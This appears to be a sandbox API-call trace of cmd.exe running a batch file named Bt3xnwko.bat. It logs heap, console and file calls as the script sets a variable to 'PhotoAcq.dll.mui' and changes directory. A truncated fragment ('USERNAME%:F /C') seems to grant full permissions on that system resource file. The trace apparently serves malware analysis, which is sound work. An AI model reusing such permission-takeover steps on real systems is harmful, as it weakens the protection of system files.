[0111.979] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x36) returned 0x6d4230 [0111.980] _tell (_FileHandle=3) returned 63 [0111.980] _close (_FileHandle=3) returned 0 [0111.980] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f474 | out: _Buffer="\r\n") returned 2 [0111.980] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.980] GetFileType (hFile=0x7) returned 0x2 [0111.980] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.980] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f434 | out: lpMode=0x31f434) returned 1 [0111.981] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.981] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f460, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f460*=0x2) returned 1 [0111.982] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0111.982] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0111.982] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x31f470 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0111.982] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x31f470 | out: _Buffer=">") returned 1 [0111.982] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.982] GetFileType (hFile=0x7) returned 0x2 [0111.983] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.983] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f438 | out: lpMode=0x31f438) returned 1 [0111.983] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.983] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x31f464, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x31f464*=0x26) returned 1 [0111.983] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.983] GetFileType (hFile=0x7) returned 0x2 [0111.984] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.984] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6bc | out: lpMode=0x31f6bc) returned 1 [0111.984] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.984] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6c0dc0*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x31f6e8, lpReserved=0x0 | out: lpBuffer=0x6c0dc0*, lpNumberOfCharsWritten=0x31f6e8*=0x3) returned 1 [0111.985] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x31f6f4 | out: _Buffer=" FN=\"PhotoAcq.dll.mui\" ") returned 23 [0111.985] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.985] GetFileType (hFile=0x7) returned 0x2 [0111.985] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.985] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6b4 | out: lpMode=0x31f6b4) returned 1 [0111.985] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.985] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x17, lpNumberOfCharsWritten=0x31f6e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f6e0*=0x17) returned 1 [0111.986] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f714 | out: _Buffer="\r\n") returned 2 [0111.986] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.986] GetFileType (hFile=0x7) returned 0x2 [0111.986] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.986] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6d4 | out: lpMode=0x31f6d4) returned 1 [0111.986] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.986] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f700, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f700*=0x2) returned 1 [0111.987] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0111.987] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0111.988] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0111.988] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0111.988] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0111.988] _wcsicmp (_String1="set", _String2="CD") returned 16 [0111.988] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0111.988] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0111.988] _wcsicmp (_String1="set", _String2="REN") returned 1 [0111.988] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0111.988] _wcsicmp (_String1="set", _String2="SET") returned 0 [0111.988] GetConsoleTitleW (in: lpConsoleTitle=0x31f284, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0111.988] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x64) returned 0x6d4270 [0111.988] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4270, Size=0x36) returned 0x6d4270 [0111.988] GetProcessHeap () returned 0x6c0000 [0111.988] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4270) returned 0x36 [0111.988] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0111.988] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3e) returned 0x6d42b0 [0111.988] _wcsnicmp (_String1="FN", _String2="/A", _MaxCount=0x2) returned 55 [0111.988] _wcsnicmp (_String1="FN", _String2="/P", _MaxCount=0x2) returned 55 [0111.989] SetEnvironmentVariableW (lpName="FN", lpValue="\"PhotoAcq.dll.mui\"") returned 1 [0111.989] GetProcessHeap () returned 0x6c0000 [0111.989] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d81a8 | out: hHeap=0x6c0000) returned 1 [0111.989] GetEnvironmentStringsW () returned 0x6d6b50* [0111.989] GetProcessHeap () returned 0x6c0000 [0111.989] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb88) returned 0x6d76e0 [0111.989] FreeEnvironmentStringsW (penv=0x6d6b50) returned 1 [0111.989] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.989] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0111.989] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.989] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0111.989] _get_osfhandle (_FileHandle=0) returned 0x3 [0111.989] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0111.990] SetConsoleInputExeNameW () returned 0x1 [0111.990] GetConsoleOutputCP () returned 0x1b5 [0111.990] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0111.990] SetThreadUILanguage (LangId=0x0) returned 0x409 [0111.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x31f6bc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0111.990] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0111.990] _get_osfhandle (_FileHandle=3) returned 0x78 [0111.990] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0111.990] GetProcessHeap () returned 0x6c0000 [0111.991] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d42b0 | out: hHeap=0x6c0000) returned 1 [0111.991] GetProcessHeap () returned 0x6c0000 [0111.991] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4270 | out: hHeap=0x6c0000) returned 1 [0111.991] GetProcessHeap () returned 0x6c0000 [0111.991] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4230 | out: hHeap=0x6c0000) returned 1 [0111.991] GetProcessHeap () returned 0x6c0000 [0111.991] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c0db8 | out: hHeap=0x6c0000) returned 1 [0111.991] GetProcessHeap () returned 0x6c0000 [0111.991] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c11d0 | out: hHeap=0x6c0000) returned 1 [0111.991] GetProcessHeap () returned 0x6c0000 [0111.991] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c1270 | out: hHeap=0x6c0000) returned 1 [0111.991] GetProcessHeap () returned 0x6c0000 [0111.991] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d41a0 | out: hHeap=0x6c0000) returned 1 [0111.991] _get_osfhandle (_FileHandle=3) returned 0x78 [0111.991] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0111.991] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x31f6a0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x31f6a0*=0xa3, lpOverlapped=0x0) returned 1 [0111.991] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0111.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0111.991] _get_osfhandle (_FileHandle=3) returned 0x78 [0111.991] GetFileType (hFile=0x78) returned 0x1 [0111.991] _get_osfhandle (_FileHandle=3) returned 0x78 [0111.991] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0111.991] GetProcessHeap () returned 0x6c0000 [0111.992] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400a) returned 0x6e4bc8 [0111.992] GetProcessHeap () returned 0x6c0000 [0111.992] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x70) returned 0x6c11d0 [0111.992] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x31ee30, lpFilePart=0x31ee28 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x31ee28*="Bt3xnwko.bat") returned 0x32 [0111.992] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x31eb44 | out: lpFindFileData=0x31eb44*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x6c1270 [0111.992] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0111.992] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x31eb44 | out: lpFindFileData=0x31eb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6c1270 [0111.992] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0111.992] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0111.992] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x31eb44 | out: lpFindFileData=0x31eb44*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x6c1270 [0111.992] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0111.993] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x31eb44 | out: lpFindFileData=0x31eb44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0x6c1270 [0111.993] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0111.993] GetProcessHeap () returned 0x6c0000 [0111.993] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x56) returned 0x6d41a0 [0111.993] GetProcessHeap () returned 0x6c0000 [0111.993] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e4bc8 | out: hHeap=0x6c0000) returned 1 [0111.993] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x58) returned 0x6d4200 [0111.993] GetProcessHeap () returned 0x6c0000 [0111.993] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xe) returned 0x6c0db8 [0111.993] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x62) returned 0x6d4260 [0111.994] _tell (_FileHandle=3) returned 78 [0111.994] _close (_FileHandle=3) returned 0 [0111.994] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f474 | out: _Buffer="\r\n") returned 2 [0111.994] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.994] GetFileType (hFile=0x7) returned 0x2 [0111.995] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.995] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f434 | out: lpMode=0x31f434) returned 1 [0111.995] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.995] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f460, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f460*=0x2) returned 1 [0111.996] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0111.996] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0111.996] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x31f470 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0111.996] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x31f470 | out: _Buffer=">") returned 1 [0111.996] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.997] GetFileType (hFile=0x7) returned 0x2 [0111.997] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.997] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f438 | out: lpMode=0x31f438) returned 1 [0111.997] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.997] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x31f464, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x31f464*=0x26) returned 1 [0111.997] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.997] GetFileType (hFile=0x7) returned 0x2 [0111.998] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.998] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6bc | out: lpMode=0x31f6bc) returned 1 [0111.998] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.998] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6c0dc0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f6e8, lpReserved=0x0 | out: lpBuffer=0x6c0dc0*, lpNumberOfCharsWritten=0x31f6e8*=0x2) returned 1 [0111.998] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x31f6f4 | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0111.998] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.998] GetFileType (hFile=0x7) returned 0x2 [0111.999] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.999] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6b4 | out: lpMode=0x31f6b4) returned 1 [0111.999] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.999] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x31f6e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f6e0*=0x2d) returned 1 [0112.000] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f714 | out: _Buffer="\r\n") returned 2 [0112.000] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.000] GetFileType (hFile=0x7) returned 0x2 [0112.001] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0112.001] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6d4 | out: lpMode=0x31f6d4) returned 1 [0112.001] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.001] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f700, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f700*=0x2) returned 1 [0112.002] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0112.002] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0112.002] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0112.002] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0112.002] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0112.002] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0112.002] GetConsoleTitleW (in: lpConsoleTitle=0x31f284, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0112.003] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xbc) returned 0x6d42d0 [0112.003] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d42d0, Size=0x64) returned 0x6d42d0 [0112.003] GetProcessHeap () returned 0x6c0000 [0112.003] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d42d0) returned 0x64 [0112.003] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0112.003] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0112.003] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x31f040, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x31f038, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x31f038*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0112.004] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x68) returned 0x6d4340 [0112.004] GetProcessHeap () returned 0x6c0000 [0112.004] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xbc) returned 0x6d43b0 [0112.004] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d43b0, Size=0x62) returned 0x6d43b0 [0112.004] GetProcessHeap () returned 0x6c0000 [0112.004] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d43b0) returned 0x62 [0112.004] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x56) returned 0x6d4420 [0112.004] GetProcessHeap () returned 0x6c0000 [0112.004] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x56) returned 0x6d4480 [0112.004] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x31eddc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0112.004] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x31eddc, lpFilePart=0x31edd8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x31edd8*=0x0) returned 0x26 [0112.004] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0112.005] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x31eb58 | out: lpFindFileData=0x31eb58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x6c1270 [0112.005] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0112.005] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x31eb58 | out: lpFindFileData=0x31eb58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6c1270 [0112.005] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0112.005] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0112.005] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x31eb58 | out: lpFindFileData=0x31eb58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x6c1270 [0112.005] FindClose (in: hFindFile=0x6c1270 | out: hFindFile=0x6c1270) returned 1 [0112.005] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0112.005] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0112.005] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0112.005] GetProcessHeap () returned 0x6c0000 [0112.005] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d76e0 | out: hHeap=0x6c0000) returned 1 [0112.005] GetEnvironmentStringsW () returned 0x6d6b50* [0112.005] GetProcessHeap () returned 0x6c0000 [0112.005] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb88) returned 0x6d76e0 [0112.005] FreeEnvironmentStringsW (penv=0x6d6b50) returned 1 [0112.006] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0112.006] GetProcessHeap () returned 0x6c0000 [0112.006] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4480 | out: hHeap=0x6c0000) returned 1 [0112.006] GetProcessHeap () returned 0x6c0000 [0112.006] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4420 | out: hHeap=0x6c0000) returned 1 [0112.006] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.006] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0112.006] _get_osfhandle (_FileHandle=1) returned 0x7 [0112.006] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0112.006] _get_osfhandle (_FileHandle=0) returned 0x3 [0112.006] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0112.007] SetConsoleInputExeNameW () returned 0x1 [0112.007] GetConsoleOutputCP () returned 0x1b5 [0112.007] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0112.007] SetThreadUILanguage (LangId=0x0) returned 0x409 [0112.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x31f6bc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0112.007] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0112.007] _get_osfhandle (_FileHandle=3) returned 0x78 [0112.007] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0112.007] GetProcessHeap () returned 0x6c0000 [0112.007] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d43b0 | out: hHeap=0x6c0000) returned 1 [0112.007] 